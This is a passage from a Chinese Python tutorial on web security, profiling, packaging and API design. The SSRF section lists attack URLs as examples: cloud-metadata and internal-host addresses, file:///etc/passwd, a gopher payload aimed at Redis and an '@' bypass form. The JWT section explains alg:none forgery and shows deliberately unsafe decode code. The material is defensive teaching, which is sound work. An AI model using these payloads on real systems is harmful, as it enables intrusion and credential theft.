# 3. 只从 PyPI 安装,不用第三方源
# 4. 审查新依赖的代码量和维护状态
# 5. 用 pip-audit 检查依赖漏洞
# pip install pip-audit
# pip-audit # 扫描当前环境的已知漏洞
SSRF 是 OWASP Top 10 中最致命的漏洞之一,尤其在云环境中。攻击者通过让服务器发起请求,可以扫描内网、访问云元数据(AWS http://169.254.169.254)、甚至攻击内网的 Redis/Memcached。
# ===== SSRF 攻击原理 =====
# 假设你的应用有一个"URL 预览"功能:用户输入 URL,服务器去抓取页面内容
import httpx
# ❌ 危险:直接用用户提供的 URL 发起请求
async def fetch_url_unsafe(url: str) -> str:
"""URL 预览功能——有 SSRF 漏洞"""
async with httpx.AsyncClient() as client:
response = await client.get(url) # 攻击者可以传入内网地址!
return response.text
# 攻击者输入:
# http://127.0.0.1:6379/ → 扫描内网 Redis(未授权访问)
# http://169.254.169.254/latest/ → 窃取 AWS 云元数据(包含密钥!)
# http://192.168.1.100:3306/ → 扫描内网 MySQL
# file:///etc/passwd → 读取服务器本地文件
# gopher://127.0.0.1:6379/_*1%0d%0a... → 向 Redis 发送任意命令
# ===== 防御方案 =====
from urllib.parse import urlparse
import ipaddress
import socket
# 方案 1:URL 白名单 + 协议限制
ALLOWED_SCHEMES = {"http", "https"}
BLOCKED_HOSTS = {"localhost", "127.0.0.1", "0.0.0.0", "169.254.169.254",
"metadata.google.internal"}
def is_safe_url(url: str) -> bool:
"""检查 URL 是否安全(防 SSRF)"""
parsed = urlparse(url)
# 1. 只允许 http/https
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# 2. 禁止已知危险主机
hostname = parsed.hostname or ""
if hostname in BLOCKED_HOSTS:
return False
# 3. 解析 IP,禁止内网地址
try:
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except (socket.gaierror, ValueError):
return False
# 4. 禁止包含 @ 的 URL(防止 http://evil.com@target.com 绕过)
if "@" in url:
return False
return True
# 方案 2:使用专用的 HTTP 客户端库(带 SSRF 防护)
# pip install ssrf-protect
# from ssrf_protect import SSRFProtect
# 方案 3:通过代理访问外网(服务器本身无法直接访问内网)
async def fetch_url_safe(url: str) -> str:
if not is_safe_url(url):
raise ValueError("不允许访问该 URL")
async with httpx.AsyncClient(
timeout=10.0,
follow_redirects=False, # 禁止跟随重定向(防止重定向绕过)
proxies="http://outbound-proxy:8080", # 通过代理访问
) as client:
response = await client.get(url)
return response.text
# ===== BOLA(Broken Object Level Authorization)=====
# 这是 API 最常见的漏洞,没有之一
# 攻击者通过修改 URL 中的 ID,访问不属于自己的资源
# ❌ 危险:没有校验数据归属
# GET /api/orders/12345
@app.get("/api/orders/{order_id}")
async def get_order(order_id: int, user=Depends(get_current_user)):
order = await db.get_order(order_id) # 任何人知道 order_id 就能查!
return order
# 攻击者把 12345 改成 12346,就能看到别人的订单
# ✅ 正确:在查询时加入数据权限校验
@app.get("/api/orders/{order_id}")
async def get_order(order_id: int, user=Depends(get_current_user)):
order = await db.get_order(order_id, user_id=user.id) # 加 user_id 过滤
if not order:
raise HTTPException(status_code=404, detail="订单不存在")
return order
# SQL 层面:
# SELECT * FROM orders WHERE id = ? AND user_id = ? ← 加上 user_id 条件
# ===== 通用的数据权限中间件 =====
from functools import wraps
class DataPermission:
"""数据权限校验器"""
def __init__(self):
self._rules: dict[str, callable] = {}
def register(self, resource_type: str, checker: callable):
"""注册资源类型的权限检查器"""
self._rules[resource_type] = checker
async def check(self, resource_type: str, resource_id: int, user_id: int) -> bool:
"""检查用户是否有权访问该资源"""
checker = self._rules.get(resource_type)
if not checker:
raise ValueError(f"未注册的资源类型: {resource_type}")
return await checker(resource_id, user_id)
data_permission = DataPermission()
# 注册检查器
async def check_order_permission(order_id: int, user_id: int) -> bool:
order = await db.get_order(order_id)
return order and order.user_id == user_id
async def check_profile_permission(profile_id: int, user_id: int) -> bool:
return profile_id == user_id # 只能看自己的资料
data_permission.register("order", check_order_permission)
data_permission.register("profile", check_profile_permission)
# 使用装饰器统一校验
def require_permission(resource_type: str, id_param: str = "id"):
def decorator(func):
@wraps(func)
async def wrapper(*args, **kwargs):
# 从路径参数中提取资源 ID
resource_id = kwargs.get(id_param)
# 从依赖注入中获取当前用户
user = kwargs.get("user") or get_current_user_from_context()
if not await data_permission.check(resource_type, resource_id, user.id):
raise HTTPException(status_code=403, detail="无权访问该资源")
return await func(*args, **kwargs)
return wrapper
return decorator
# 使用
@app.get("/api/orders/{order_id}")
@require_permission("order", id_param="order_id")
async def get_order(order_id: int, user=Depends(get_current_user)):
return await db.get_order(order_id)
# ===== 常见越权类型 =====
# 1. 水平越权:用户 A 访问用户 B 的数据(同级别)
# 2. 垂直越权:普通用户访问管理员功能(越级别)
# 例:普通用户调用 DELETE /api/users/123
# 防御垂直越权:基于角色的访问控制(RBAC)
from enum import Enum
class Role(Enum):
USER = "user"
ADMIN = "admin"
def require_role(*roles: Role):
def decorator(func):
@wraps(func)
async def wrapper(*args, **kwargs):
user = get_current_user_from_context()
if user.role not in roles:
raise HTTPException(status_code=403, detail="权限不足")
return await func(*args, **kwargs)
return wrapper
return decorator
@app.delete("/api/users/{user_id}")
@require_role(Role.ADMIN) # 只有管理员能删除用户
async def delete_user(user_id: int):
...
# ===== JWT 常见攻击 =====
# 攻击 1:alg: none 绕过
# JWT 头部有一个 alg 字段,指定签名算法
# 如果服务器不验证 alg,攻击者可以把 alg 改成 "none",跳过签名验证
import jwt # pip install PyJWT
import json
import base64
# 正常 JWT:header.payload.signature
# 攻击者构造:{"alg": "none"}.{"user_id": 1, "role": "admin"}.
# 没有签名,但如果不验证 alg,服务器会直接信任!
# ❌ 危险:不验证算法
def decode_jwt_unsafe(token: str) -> dict:
# 不指定 algorithms,接受任何算法!
return jwt.decode(token, options={"verify_signature": False})
# ✅ 正确:严格指定允许的算法
def decode_jwt_safe(token: str, secret: str) -> dict:
return jwt.decode(
token,
secret,
algorithms=["HS256"], # 只允许 HS256,拒绝 none/RS256 等
options={"require": ["exp", "sub"]} # 强制要求这些字段
)
# 攻击 2:密钥爆破
# 如果密钥太短(如 "secret"、"123456"),攻击者可以暴力破解
# 破解后可以伪造任意 JWT
# 防御:使用足够长的随机密钥(至少 256 位)
import secrets
jwt_secret = secrets.token_hex(32) # 64 字符的十六进制密钥
# 攻击 3:JWT 无法主动失效
# JWT 是无状态的,服务器不存储 Token。这意味着:
# - 用户改了密码,旧 Token 仍然有效
# - 用户被封禁,旧 Token 仍然有效
# - Token 被盗,无法撤销
# 解决方案:Redis 黑名单
import redis
redis_client = redis.Redis()
def create_jwt(user_id: int, secret: str) -> str:
payload = {
"sub": user_id,
"exp": datetime.utcnow() + timedelta(hours=1),
"jti": secrets.token_hex(16), # JWT ID,每个 Token 唯一
}
return jwt.encode(payload, secret, algorithm="HS256")
def revoke_jwt(token: str, secret: str):
"""让单个 JWT 失效(加入黑名单)"""
payload = jwt.decode(token, secret, algorithms=["HS256"])
jti = payload.get("jti")
exp = payload.get("exp")
ttl = exp - int(datetime.utcnow().timestamp())
if ttl > 0:
redis_client.setex(f"jwt:blacklist:{jti}", ttl, "revoked")
def is_jwt_revoked(token: str, secret: str) -> bool:
"""检查 JWT 是否已被撤销"""
try:
payload = jwt.decode(token, secret, algorithms=["HS256"])
jti = payload.get("jti")
return redis_client.exists(f"jwt:blacklist:{jti}")
except jwt.InvalidTokenError:
return True # 无效 Token 视为已撤销
def decode_jwt_with_blacklist(token: str, secret: str) -> dict:
"""解码 JWT(带黑名单检查)"""
payload = jwt.decode(token, secret, algorithms=["HS256"])
if is_jwt_revoked(token, secret):
raise jwt.InvalidTokenError("Token 已被撤销")
return payload
# ===== JWT 安全最佳实践 =====
# 1. 使用 RS256(非对称加密)而非 HS256(对称加密)——即使密钥泄露,只有私钥能签发
# 2. 设置短过期时间(15 分钟 - 1 小时),用 Refresh Token 续期
# 3. 在 payload 中只放必要信息(不要放密码、手机号等敏感数据)
# 4. 始终验证 exp、iss、aud 字段
# 5. 敏感操作(改密码、改手机号)要求重新输入密码,不依赖 JWT
性能调优不是"凭感觉猜",而是"用数据说话"。本章通过 3 个真实案例,演示完整的调优流程:Profile 定位瓶颈 → 分析原因 → 针对性优化 → 验证效果。这是高级工程师的核心技能。
"""
场景:一个用户列表 API,返回 1000 个用户及其订单金额总和
初始响应时间:3 秒。目标:100 毫秒以内。
"""
import cProfile
import pstats
from io import StringIO
import time
# ===== 初始版本(慢)=====
def get_users_slow():
"""N+1 查询问题:查 1 次用户列表 + 每个用户查 1 次订单"""
users = db.query("SELECT * FROM users LIMIT 1000") # 1 次查询
result = []
for user in users:
# 每个用户再查一次订单!1000 次查询!
total = db.query(
"SELECT SUM(amount) FROM orders WHERE user_id = ?", (user['id'],)
)[0]
result.append({**user, 'total_amount': total})
return result
# ===== Profile 定位瓶颈 =====
def profile_function(func):
"""性能分析装饰器"""
def wrapper(*args, **kwargs):
profiler = cProfile.Profile()
profiler.enable()
result = func(*args, **kwargs)
profiler.disable()
stream = StringIO()
stats = pstats.Stats(profiler, stream=stream)
stats.sort_stats('cumulative')
stats.print_stats(20) # 打印前 20 个最耗时的函数
print(stream.getvalue())
return result
return wrapper
@profile_function
def get_users_slow():
... # 如上
# 运行后发现:99% 的时间花在 db.query 上(调用了 1001 次)
# ===== 优化方案:消除 N+1 查询 =====
def get_users_fast():
"""一次查询搞定:JOIN + GROUP BY"""
return db.query("""
SELECT u.*, COALESCE(SUM(o.amount), 0) as total_amount
FROM users u
LEFT JOIN orders o ON u.id = o.user_id
GROUP BY u.id
LIMIT 1000
""") # 只有 1 次查询!
# 效果:3000ms → 45ms(快 66 倍)
"""
场景:处理 100 万条数据,计算每个元素的平方根之和
"""
import time
import math
import cProfile
data = list(range(1_000_000))
# ===== 方法 1:普通循环 =====
def method_loop():
result = 0
for x in data:
result += math.sqrt(x)
return result
# ===== 方法 2:列表推导 + sum =====
def method_comprehension():
return sum(math.sqrt(x) for x in data)
# ===== 方法 3:map + sum =====
def method_map():
return sum(map(math.sqrt, data))
# ===== 方法 4:NumPy(C 实现,释放 GIL)=====
import numpy as np
def method_numpy():
arr = np.array(data, dtype=np.float64)
return np.sum(np.sqrt(arr))
# ===== 方法 5:NumPy 直接从 range 创建 =====
def method_numpy_direct():
return np.sum(np.sqrt(np.arange(1_000_000, dtype=np.float64)))
# ===== 性能对比 =====
for name, func in [
("普通循环", method_loop),
("列表推导", method_comprehension),
("map+sum", method_map),
("NumPy", method_numpy),
("NumPy直接", method_numpy_direct),
]:
start = time.perf_counter()
result = func()
elapsed = time.perf_counter() - start
print(f"{name:10s}: {elapsed:.4f}s 结果={result:.2f}")
# 典型结果:
# 普通循环 : 0.1200s
# 列表推导 : 0.0900s (快 1.3x)
# map+sum : 0.0800s (快 1.5x)
# NumPy : 0.0050s (快 24x)
# NumPy直接 : 0.0030s (快 40x)
# 教训:
# 1. 微优化(推导 vs 循环)提升有限
# 2. 选对数据结构/库才是关键(NumPy 快 40 倍)
# 3. NumPy 在 C 层运算,绕过 GIL,还能用多线程加速
"""
场景:处理一个 2GB 的日志文件,统计 ERROR 行数
初始版本:内存占用 4GB,直接 OOM
"""
import sys
import tracemalloc
# ❌ 错误:一次性读入内存
def count_errors_bad(filepath):
with open(filepath) as f:
lines = f.readlines() # 2GB 文件 → 4GB 内存(Python 字符串开销)
return sum(1 for line in lines if "ERROR" in line)
# ✅ 正确:逐行读取(生成器)
def count_errors_good(filepath):
count = 0
with open(filepath) as f:
for line in f: # 文件对象本身就是迭代器,逐行读取
if "ERROR" in line:
count += 1
return count
# ✅ 更 Pythonic 的写法
def count_errors_pythonic(filepath):
with open(filepath) as f:
return sum(1 for line in f if "ERROR" in line)
# ===== 内存对比 =====
# 错误版本:内存峰值 ~4GB
# 正确版本:内存峰值 ~8KB(只存一行)
# ===== 内存分析工具 =====
tracemalloc.start()
# 你的代码
data = [x ** 2 for x in range(1_000_000)]
snapshot = tracemalloc.take_snapshot()
top = snapshot.statistics('lineno')
for stat in top[:5]:
print(stat)
# 输出示例:
# script.py:15: 8.5 MiB
# 这告诉你哪一行代码分配了最多内存
# ===== 常见内存优化技巧 =====
# 1. 用生成器代替列表(处理大数据)
# 2. 用 __slots__ 减少对象内存
# 3. 用 array.array 代替 list(同类型数值)
# 4. 用 sys.intern() 驻留重复字符串
# 5. 及时 del 大对象
# 6. 用 gc.collect() 手动触发垃圾回收
| 工具 | 用途 | 使用方式 |
|---|---|---|
timeit | 微基准测试 | timeit.timeit('code', number=10000) |
cProfile | 函数级性能分析 | cProfile.run('func()') |
line_profiler | 逐行分析 | @profile 装饰器 + kernprof -l |
memory_profiler | 内存逐行分析 | @profile 装饰器 + python -m memory_profiler |
tracemalloc | 内存分配追踪 | 标准库,定位哪一行分配了最多内存 |
py-spy | 采样式分析(无需改代码) | py-spy top --pid 12345 |
scalene | CPU + 内存 + GPU 一体分析 | scalene script.py |
snakeviz | 可视化 cProfile 结果 | snakeviz profile.prof |
# ===== 用 objgraph 找出内存泄漏的对象类型 =====
# pip install objgraph
import objgraph
# 查看当前内存中最多的对象类型
objgraph.show_most_common_types(limit=10)
# 输出示例:
# dict 15234
# list 12456
# tuple 8901
# str 234567
# function 1234
# 对比两次调用的差异(找出泄漏类型)
objgraph.show_growth(limit=10)
# 执行一些操作...
objgraph.show_growth(limit=10)
# 输出示例:
# list 12456 +500 ← 新增了 500 个 list,可能是泄漏
# ===== 用 gc 模块调试循环引用 =====
import gc
# 启用 GC 调试(记录分配了哪些对象)
gc.set_debug(gc.DEBUG_LEAK)
# 手动触发 GC 并查看无法回收的对象
gc.collect()
garbage = gc.garbage # GC 无法回收的对象列表
print(f"无法回收的对象: {len(garbage)}")
for obj in garbage[:5]:
print(f" {type(obj)}: {repr(obj)[:100]}")
# 查看某个对象的所有引用者
import gc
def find_referrers(obj, max_depth=3):
"""递归查找谁引用了这个对象"""
seen = set()
def _find(obj, depth):
if depth > max_depth or id(obj) in seen:
return
seen.add(id(obj))
referrers = gc.get_referrers(obj)
for ref in referrers:
if ref is not gc and ref is not referrers:
print(f"{' ' * depth}{type(ref).__name__}: {repr(ref)[:80]}")
_find(ref, depth + 1)
_find(obj, 0)
# 使用示例:找出为什么某个大对象没有被回收
# big_list = [i for i in range(1000000)]
# del big_list
# gc.collect()
# 如果 big_list 没有被回收,用 find_referrers 查找原因
# ===== py-spy:不改代码就能 Profile 运行中的进程 =====
# 安装:pip install py-spy
# 查看运行中 Python 进程的 CPU 火焰图
# py-spy top --pid 12345 # 实时 top 视图
# py-spy record -o profile.svg --pid 12345 # 记录火焰图
# py-spy record -o profile.svg -- python script.py # 从启动开始记录
# 火焰图怎么看?
# 横轴:采样占比(越宽 = 花的时间越多)
# 纵轴:调用栈深度(越高 = 调用链越深)
# 找"宽平顶"——那就是你的瓶颈函数
# ===== scalene:CPU + 内存 + GPU 一体化分析 =====
# 安装:pip install scalene
# 使用:scalene script.py
# scalene 的优势:
# 1. 区分 Python 时间 vs C 时间 vs IO 时间
# 2. 内存分析精确到行
# 3. 自动检测优化建议
# ===== 在生产环境持续 Profiling =====
# pip install pyroscope-io # 持续性能分析平台
# import pyroscope
# pyroscope.configure(
# application_name="my-app",
# server_address="http://pyroscope-server:4040",
# )
# 之后所有代码的 CPU 和内存使用都会自动上报
# ===== asyncio 性能调优 =====
import asyncio
import aiohttp
# ❌ 常见错误:在异步函数中调用同步阻塞代码
async def bad_example():
import time
time.sleep(5) # 阻塞整个事件循环!所有协程都被卡住
# ✅ 正确:用 asyncio.to_thread 包装阻塞代码
async def good_example():
await asyncio.to_thread(time.sleep, 5) # 不阻塞事件循环
# ❌ 常见错误:没有限制并发数
async def fetch_all_bad(urls):
async with aiohttp.ClientSession() as session:
tasks = [session.get(url) for url in urls]
return await asyncio.gather(*tasks) # 1000 个 URL 同时请求,服务器可能崩
# ✅ 正确:用 Semaphore 限制并发
async def fetch_all_good(urls, max_concurrent=10):
semaphore = asyncio.Semaphore(max_concurrent)
async with aiohttp.ClientSession() as session:
async def fetch_one(url):
async with semaphore:
async with session.get(url) as resp:
return await resp.text()
return await asyncio.gather(*[fetch_one(url) for url in urls])
@lru_cache、Redis 缓存)写一个自己用的脚本和写一个别人能用的库,是两个完全不同的层次。本章教你从零开始构建一个规范的 Python 开源库:项目结构、打包配置、发布到 PyPI、文档编写、版本管理、CI/CD。这是"工程师"和"程序员"的分水岭之一。
# 一个规范的 Python 开源库结构:
my-awesome-lib/
├── src/
│ └── my_awesome_lib/
│ ├── __init__.py # 版本号 + 公开 API
│ ├── core.py # 核心逻辑
│ ├── utils.py # 工具函数
│ └── py.typed # PEP 561:声明支持类型注解
├── tests/
│ ├── __init__.py
│ ├── conftest.py # pytest fixtures
│ ├── test_core.py
│ └── test_utils.py
├── docs/
│ ├── index.md
│ ├── getting-started.md
│ └── api-reference.md
├── pyproject.toml # 唯一的项目配置文件
├── LICENSE # 开源许可证
├── README.md # 项目说明
├── CHANGELOG.md # 版本变更记录
├── .github/
│ └── workflows/
│ ├── ci.yml # 持续集成
│ └── publish.yml # 自动发布
├── .gitignore
└── .pre-commit-config.yaml
# pyproject.toml —— 现代 Python 项目的唯一配置文件
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
[project]
name = "my-awesome-lib"
version = "0.1.0"
description = "一个很棒的 Python 库"
readme = "README.md"
license = {text = "MIT"}
requires-python = ">=3.10"
authors = [
{name = "你的名字", email = "your@email.com"},
]
keywords = ["python", "utility"]
classifiers = [
"Development Status :: 4 - Beta",
"Intended Audience :: Developers",
"License :: OSI Approved :: MIT License",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.10",
"Programming Language :: Python :: 3.11",
"Programming Language :: Python :: 3.12",
"Programming Language :: Python :: 3.13",
"Typing :: Typed",
]
dependencies = [
"httpx>=0.25",
"pydantic>=2.0",
]
[project.optional-dependencies]
dev = [
"pytest>=8.0",
"pytest-cov>=4.0",
"pytest-asyncio>=0.21",
"ruff>=0.8",
"mypy>=1.0",
"pre-commit>=3.0",
]
docs = [
"mkdocs>=1.5",
"mkdocs-material>=9.0",
]
[project.urls]
Homepage = "https://github.com/yourname/my-awesome-lib"
Documentation = "https://my-awesome-lib.readthedocs.io"
Repository = "https://github.com/yourname/my-awesome-lib"
Issues = "https://github.com/yourname/my-awesome-lib/issues"
[project.scripts]
my-tool = "my_awesome_lib.cli:main" # 安装后可用 my-tool 命令
# ===== 工具配置 =====
[tool.hatch.build.targets.wheel]
packages = ["src/my_awesome_lib"]
[tool.pytest.ini_options]
testpaths = ["tests"]
addopts = "--cov=src --cov-report=term-missing --cov-report=html"
[tool.ruff]
target-version = "py310"
line-length = 88
[tool.ruff.lint]
select = ["E", "F", "I", "N", "UP", "B", "SIM", "RUF"]
[tool.mypy]
python_version = "3.10"
strict = true
# 语义化版本(Semantic Versioning):MAJOR.MINOR.PATCH
# MAJOR(主版本):不兼容的 API 变更
# - 删除了公开的函数/类
# - 修改了函数签名(参数、返回值)
# - 0.x → 1.0 表示"稳定版发布"
# MINOR(次版本):向后兼容的新功能
# - 新增了公开的函数/类
# - 新增了可选参数
# PATCH(补丁版本):向后兼容的 Bug 修复
# - 修复了错误行为
# - 性能优化
# - 文档更新
# 示例:
# 1.0.0 → 1.0.1 (Bug 修复)
# 1.0.1 → 1.1.0 (新功能)
# 1.1.0 → 2.0.0 (破坏性变更)
# ===== 用 bump2version 自动更新版本 =====
# pip install bump2version
# bump2version patch # 0.1.0 → 0.1.1
# bump2version minor # 0.1.1 → 0.2.0
# bump2version major # 0.2.0 → 1.0.0
# ===== CHANGELOG.md 格式 =====
# # Changelog
#
# ## [0.2.0] - 2026-05-30
# ### Added
# - 新增 `batch_process()` 函数
# - 支持 Python 3.13
#
# ### Fixed
# - 修复并发场景下的竞态条件
#
# ## [0.1.0] - 2026-05-01
# ### Added
# - 初始发布
# ===== 第一步:注册 PyPI 账号 =====
# https://pypi.org/account/register/
# 启用 2FA(两步验证)
# ===== 第二步:生成 API Token =====
# https://pypi.org/manage/account/token/
# 创建 token,作用域设为整个账号或特定项目
# ===== 第三步:构建 =====
# pip install build
# python -m build
# 生成 dist/my_awesome_lib-0.1.0.tar.gz 和 dist/my_awesome_lib-0.1.0-py3-none-any.whl
# ===== 第四步:上传 =====
# pip install twine
# twine upload dist/* # 会要求输入用户名 __token__ 和密码(API token)
# ===== 或者用 GitHub Actions 自动发布 =====
# .github/workflows/publish.yml:
# name: Publish to PyPI
# on:
# release:
# types: [published]
#
# jobs:
# publish:
# runs-on: ubuntu-latest
# permissions:
# id-token: write # 用于 Trusted Publishing
# steps:
# - uses: actions/checkout@v4
# - uses: actions/setup-python@v5
# with:
# python-version: "3.12"
# - run: pip install build
# - run: python -m build
# - uses: pypa/gh-action-pypi-publish@release/v1
# ===== TestPyPI(测试环境)=====
# 先发布到 https://test.pypi.org 测试
# twine upload --repository testpypi dist/*
# pip install --index-url https://test.pypi.org/simple/ my-awesome-lib
# 好的文档 = 有人用你的库。没有文档 = 没人用。
# ===== README.md 必备内容 =====
# 1. 一句话说明这是什么
# 2. 安装方法
# 3. 快速上手示例(3 行代码能跑起来)
# 4. 详细使用说明
# 5. API 参考
# 6. 贡献指南
# 7. 许可证
# ===== MkDocs 搭建文档站点 =====
# pip install mkdocs mkdocs-material
# mkdocs new . # 初始化
# mkdocs serve # 本地预览
# mkdocs build # 构建静态站点
# mkdocs.yml 配置:
# site_name: My Awesome Lib
# theme:
# name: material
# palette:
# primary: indigo
# nav:
# - 首页: index.md
# - 快速开始: getting-started.md
# - API 参考: api-reference.md
# ===== docstring 规范(Google 风格)=====
def fetch_data(url: str, timeout: float = 10.0) -> dict:
"""从指定 URL 获取数据。
发送 GET 请求并返回 JSON 响应。支持自动重试和超时设置。
Args:
url: 请求的 URL 地址。
timeout: 请求超时时间(秒),默认 10 秒。
Returns:
解析后的 JSON 数据字典。
Raises:
httpx.HTTPStatusError: 当 HTTP 状态码不是 200 时。
httpx.TimeoutException: 当请求超时时。
Examples:
>>> data = fetch_data("https://api.example.com/users")
>>> print(data["count"])
42
"""
...
# ===== 自动生成 API 文档 =====
# pip install mkdocstrings mkdocstrings-python
# 在 mkdocs.yml 中添加:
# plugins:
# - mkdocstrings:
# handlers:
# python:
# options:
# show_source: true
# ===== 好的 API 设计原则 =====
# 1. 最小惊讶原则(Principle of Least Astonishment)
# 2. 一致的命名和行为模式
# 3. 支持 Python 的惯用写法(Pythonic)
# ===== 链式调用(Fluent API)=====
# ❌ 不好的设计:每个方法返回 None
class QueryBuilderBad:
def __init__(self):
self._table = ""
self._conditions = []
self._limit = None
def from_table(self, table):
self._table = table # 返回 None,不能链式调用
def where(self, condition):
self._conditions.append(condition) # 返回 None
def limit(self, n):
self._limit = n # 返回 None
# 使用时要写 4 行:
# qb = QueryBuilderBad()
# qb.from_table("users")
# qb.where("age > 18")
# qb.limit(10)
# ✅ 好的设计:每个方法返回 self
class QueryBuilder:
def __init__(self):
self._table = ""
self._conditions = []
self._limit = None
def from_table(self, table: str) -> 'QueryBuilder':
self._table = table
return self # 返回 self,支持链式调用
def where(self, condition: str) -> 'QueryBuilder':
self._conditions.append(condition)
return self
def limit(self, n: int) -> 'QueryBuilder':
self._limit = n
return self
def build(self) -> str:
sql = f"SELECT * FROM {self._table}"
if self._conditions:
sql += " WHERE " + " AND ".join(self._conditions)
if self._limit:
sql += f" LIMIT {self._limit}"
return sql
# 使用时一行搞定(Pythonic!)
query = (QueryBuilder()
.from_table("users")
.where("age > 18")
.where("status = 'active'")
.limit(10)
.build())
print(query)
# SELECT * FROM users WHERE age > 18 AND status = 'active' LIMIT 10
# ===== 上下文管理器(with 语句)=====
# 好的 API 应该支持 with 语句管理资源
# ❌ 不支持 with
class DatabaseConnectionBad:
def connect(self):
...
def close(self):
...
# 使用时容易忘记 close!
# ✅ 支持 with
class DatabaseConnection:
def __init__(self, url: str):
self.url = url
def __enter__(self) -> 'DatabaseConnection':
self.conn = self._create_connection()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.close()
return False # 不吞掉异常
def close(self):
if self.conn:
self.conn.close()
# 使用:
# with DatabaseConnection("postgresql://...") as db:
# db.query("SELECT ...")
# 离开 with 块时自动关闭,即使发生异常
# ===== 迭代器协议 =====
# 好的集合类应该支持 for 循环
class PageIterator:
"""分页迭代器:自动翻页,对用户透明"""
def __init__(self, api_client, page_size: int = 100):
self.client = api_client
self.page_size = page_size
self.current_page = 0
self._buffer = []
self._exhausted = False
def __iter__(self):
return self
def __next__(self):
if not self._buffer and not self._exhausted:
self._fetch_next_page()
if not self._buffer:
raise StopIteration
return self._buffer.pop(0)
def _fetch_next_page(self):
items = self.client.get_page(self.current_page, self.page_size)
if not items:
self._exhausted = True
else:
self._buffer = items
self.current_page += 1
# 使用:用户不需要关心翻页逻辑
# for user in PageIterator(api_client):
# process(user) # 自动翻页
# ===== 类型注解是最好的文档 =====
# ❌ 没有类型注解:不知道参数是什么类型
def create_user(name, age, tags):
...
# ✅ 有类型注解:一目了然
from typing import Optional
from pydantic import BaseModel
def create_user(
name: str,
age: int,
tags: list[str] | None = None,
email: str | None = None,
) -> dict:
"""创建用户。
Args:
name: 用户名(2-50 个字符)
age: 年龄(0-150)
tags: 标签列表(可选)
email: 邮箱(可选,用于发送通知)
Returns:
包含 user_id 的字典
"""
...
# ===== 为什么要向后兼容?=====
# 你的库有 100 个用户在用 old_function()。
# 如果你直接删除它,他们的代码全部崩溃。
# 正确做法:先标记为"废弃",给用户迁移时间,下个大版本再删除。
# ===== 用 warnings.warn 标记废弃 =====
import warnings
def old_function(x, y):
"""旧函数(已废弃)"""
warnings.warn(
"old_function() 已废弃,请使用 new_function() 替代。"
"old_function 将在 v2.0 中移除。",
DeprecationWarning,
stacklevel=2 # 指向调用者,而不是这个函数内部
)
return new_function(x, y)
def new_function(x, y):
"""新函数"""
return x + y
# 调用时会看到警告:
# old_function(1, 2)
# DeprecationWarning: old_function() 已废弃,请使用 new_function() 替代。
# 测试中如何捕获废弃警告:
import pytest
def test_old_function_deprecated():
with pytest.warns(DeprecationWarning, match="old_function.*废弃"):
old_function(1, 2)
# ===== 渐进式 API 迁移方案 =====
# 阶段 1(v1.0):发布 old_function
# 阶段 2(v1.5):添加 new_function,old_function 发出废弃警告
# 阶段 3(v2.0):删除 old_function
# 更复杂的例子:函数签名变更
def send_notification_v1(user_id: int, message: str):
"""v1: 只支持单个用户"""
...
def send_notification_v2(
user_ids: int | list[int], # v2: 支持批量
message: str,
channel: str = "sms", # v2: 新增参数
):
"""v2: 支持批量发送和多渠道"""
if isinstance(user_ids, int):
user_ids = [user_ids]
...
# 兼容层:让 v1 的调用方式在 v2 中仍然可用
def send_notification(user_ids, message, channel="sms"):
"""向后兼容的入口"""
if isinstance(user_ids, int):
warnings.warn(
"传递单个 user_id 已废弃,请使用列表格式 user_ids=[...]。"
"将在 v3.0 中移除。",
DeprecationWarning,
stacklevel=2
)
user_ids = [user_ids]
return send_notification_v2(user_ids, message, channel)
# ===== 用 towncrier 管理变更日志 =====
# pip install towncrier
# 核心思想:每个 PR 往 newsfragments/ 目录写一个小文件
# 发布时自动合并成 CHANGELOG.md
# 项目结构:
# newsfragments/
# 123.feature ← PR #123 的新功能描述
# 124.bugfix ← PR #124 的 Bug 修复描述
# 125.breaking ← PR #125 的破坏性变更
# newsfragments/123.feature:
# 新增 `batch_process()` 函数,支持批量处理数据
# 发布时运行:
# towncrier build --version 2.0.0
# 自动生成 CHANGELOG.md 并清空 newsfragments/
# pyproject.toml 配置:
"""
[tool.towncrier]
directory = "newsfragments"
filename = "CHANGELOG.md"
title_format = "## [{version}] - {project_date}"
[[tool.towncrier.type]]
directory = "feature"
name = "Features"
showcontent = true
[[tool.towncrier.type]]
directory = "bugfix"
name = "Bug Fixes"
showcontent = true
[[tool.towncrier.type]]
directory = "breaking"
name = "Breaking Changes"
showcontent = true
"""
# ===== API 设计的常见陷阱 =====
# 陷阱 1:返回类型不一致
# ❌ 有时返回 None,有时返回空列表
def find_users_bad(query):
results = db.search(query)
if not results:
return None # 调用者要先判断 None 再判断 []
return results
# ✅ 始终返回空列表
def find_users_good(query: str) -> list:
return db.search(query) or [] # 永远返回 list
# 陷阱 2:可变对象作为默认参数
# ❌ 所有调用者共享同一个 list!
def add_item_bad(item, items=[]):
items.append(item)
return items
# ✅ 用 None 作为默认值
def add_item_good(item, items=None):
if items is None:
items = []
items.append(item)
return items
# 陷阱 3:参数过多
# ❌ 10 个参数,记不住
def create_server(host, port, timeout, max_connections, ssl, cert, key, ...):
...
# ✅ 用 dataclass 或 Pydantic 分组
from dataclasses import dataclass
@dataclass
class ServerConfig:
host: str = "0.0.0.0"
port: int = 8000
timeout: float = 30.0
max_connections: int = 100
ssl: bool = False
cert_file: str | None = None
key_file: str | None = None
def create_server(config: ServerConfig = ServerConfig()):
...
读源码是成为真正高手的必经之路。本章教你如何阅读 CPython 源码、如何给 CPython 和其他开源项目提 PR、如何参与 Python 社区。这不仅是技术提升,更是职业发展的加速器。
# ===== CPython 源码结构 =====
cpython/
├── Include/ # C 头文件(Python/C API)
├── Lib/ # 纯 Python 标准库 ← 从这里开始!
│ ├── collections/ # collections 模块
│ ├── functools.py # functools 模块
│ ├── itertools.py # itertools 模块(部分 C 实现)
│ ├── json/ # json 模块
│ ├── os/ # os 模块
│ ├── re.py # 正则表达式
│ └── ...
├── Modules/ # C 扩展模块
├── Objects/ # 内置类型的 C 实现
│ ├── listobject.c # list 的实现
│ ├── dictobject.c # dict 的实现
│ ├── tupleobject.c # tuple 的实现
│ └── typeobject.c # type 的实现
├── Parser/ # 解析器
├── Python/ # Python 虚拟机
│ ├── ceval.c # 字节码执行引擎
